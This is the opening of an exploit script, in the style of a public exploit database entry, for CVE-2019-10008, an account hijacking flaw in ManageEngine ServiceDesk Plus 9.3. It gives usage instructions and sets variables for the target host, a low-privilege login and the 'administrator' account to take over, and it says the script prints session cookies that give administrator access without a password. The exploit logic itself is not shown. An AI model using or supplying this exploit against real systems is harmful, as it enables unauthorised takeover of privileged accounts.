# Exploit Title: Manage Engine ServiceDesk Plus Version 9.3 Privileged Account Hijacking  
# Date: 30-03-2019  
# Exploit Author: Ata Hakçıl, Melih Kaan Yıldız  
# Vendor: ManageEngine  
# Vendor Homepage: www.manageengine.com  
# Product: Service Desk Plus  
# Version: 9.3  
# Tested On: Windows 10 64 bit  
# CVE : 2019-10008  
  
  
# How to use: Change the host, low_username, low_password and high_username variables depending on what you have.  
# Low username and password is an account you have access to. high_username is account you want to authenticate as.  
  
# After running the script, it will output you the cookies that you can set on your browser to login to the high_username without password.  
# Run this script on a Linux OS.  
  
#Host ip address + port  
host="localhost:8080"  
  
#set to https if needed  
url = "http://" + host  
  
#Username with credentials you have  
low_username="guest"  
low_password="guest"  
  
#username you want to login as  
high_username="administrator"
